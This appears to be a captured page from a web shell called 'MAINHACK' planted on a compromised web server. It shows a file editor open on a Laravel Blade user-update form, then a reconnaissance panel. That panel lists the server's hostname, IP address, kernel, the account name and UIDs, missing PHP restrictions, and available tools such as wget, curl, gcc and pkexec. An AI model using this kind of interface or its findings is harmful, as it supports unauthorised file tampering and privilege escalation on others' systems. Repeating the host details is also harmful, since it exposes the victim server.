[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit.blade.php
@extends('layouts.app') @section('content') <div class="row"> <div class="col-lg-10 offset-lg-1"> <div class="card"> <div class="card-header"> <span class="panel-title">{{ _lang('Update User') }}</span> </div> <div class="card-body"> <form method="post" class="validate" autocomplete="off" action="{{ route('users.update', $id) }}" enctype="multipart/form-data"> {{ csrf_field()}} <input name="_method" type="hidden" value="PATCH"> <div class="row"> <div class="col-lg-12"> <div class="form-group row"> <label class="col-xl-3 col-form-label">{{ _lang('Name') }}</label> <div class="col-xl-9"> <input type="text" class="form-control" name="name" value="{{ $user->name }}" required> </div> </div> <div class="form-group row"> <label class="col-xl-3 col-form-label">{{ _lang('Email') }}</label> <div class="col-xl-9"> <input type="email" class="form-control" name="email" value="{{ $user->email }}" required> </div> </div> <div class="form-group row"> <label class="col-xl-3 col-form-label">{{ _lang('Password') }}</label> <div class="col-xl-9"> <input type="password" class="form-control" name="password"> </div> </div> <div class="form-group row"> <label class="col-xl-3 col-form-label">{{ _lang('Package') }}</label> <div class="col-xl-9"> <select class="form-control select2 auto-select" data-selected="{{ $user->package_id }}" name="package_id"> <option value="">{{ _lang('Select One') }}</option> @foreach(\App\Models\Package::active()->get() as $package) <option value="{{ $package->id }}">{{ $package->name }} ({{ decimalPlace($package->cost, currency_symbol()).'/'.ucwords($package->package_type) }})</option> @endforeach </select> </div> </div> <div class="form-group row"> <label class="col-xl-3 col-form-label">{{ _lang('Membership Type') }}</label> <div class="col-xl-9"> <select class="form-control auto-select" data-selected="{{ $user->membership_type }}" name="membership_type"> <option value="trial">{{ _lang('Trial') }}</option> <option value="member">{{ _lang('Member') }}</option> </select> </div> </div> <div class="form-group row"> <label class="col-xl-3 col-form-label">{{ _lang('Valid Until') }}</label> <div class="col-xl-9"> <input type="text" class="form-control datepicker" name="valid_to" value="{{ $user->getRawOriginal('valid_to') }}" required> </div> </div> <div class="form-group row"> <label class="col-xl-3 col-form-label">{{ _lang('Status') }}</label> <div class="col-xl-9"> <select class="form-control auto-select" data-selected="{{ $user->status }}" name="status" required> <option value="">{{ _lang('Select One') }}</option> <option value="1">{{ _lang('Active') }}</option> <option value="0">{{ _lang('In Active') }}</option> </select> <a href="" class="mt-3 d-block toggle-optional-fields" data-toggle-title="{{ _lang('Hide Optional Fields') }}">{{ _lang('Show Optional Fields') }}</a> </div> </div> <div class="form-group row optional-field"> <label class="col-xl-3 col-form-label">{{ _lang('Phone') }}</label> <div class="col-xl-9"> <input type="text" class="form-control" name="phone" value="{{ $user->phone }}"> </div> </div> <div class="form-group row optional-field"> <label class="col-xl-3 col-form-label">{{ _lang('City') }}</label> <div class="col-xl-9"> <input type="text" class="form-control" name="city" value="{{ $user->city }}"> </div> </div> <div class="form-group row optional-field"> <label class="col-xl-3 col-form-label">{{ _lang('State') }}</label> <div class="col-xl-9"> <input type="text" class="form-control" name="state" value="{{ $user->state }}"> </div> </div> <div class="form-group row optional-field"> <label class="col-xl-3 col-form-label">{{ _lang('ZIP') }}</label> <div class="col-xl-9"> <input type="text" class="form-control" name="zip" value="{{ $user->zip }}"> </div> </div> <div class="form-group row optional-field"> <label class="col-xl-3 col-form-label">{{ _lang('Address') }}</label> <div class="col-xl-9"> <textarea class="form-control" name="address">{{ $user->address }}</textarea> </div> </div> <div class="form-group row optional-field"> <label class="col-xl-3 col-form-label">{{ _lang('Profile Picture') }}</label> <div class="col-xl-9"> <input type="file" class="dropify" data-value="{{ $user->profile_picture }}" name="profile_picture"> </div> </div> <div class="form-group row mt-4"> <div class="col-xl-9 offset-xl-3"> <button type="submit" class="btn btn-primary"><i class="ti-check-box mr-2"></i>{{ _lang('Update User') }}</button> </div> </div> </div> </div> </form> </div> </div> </div> </div> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.84 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002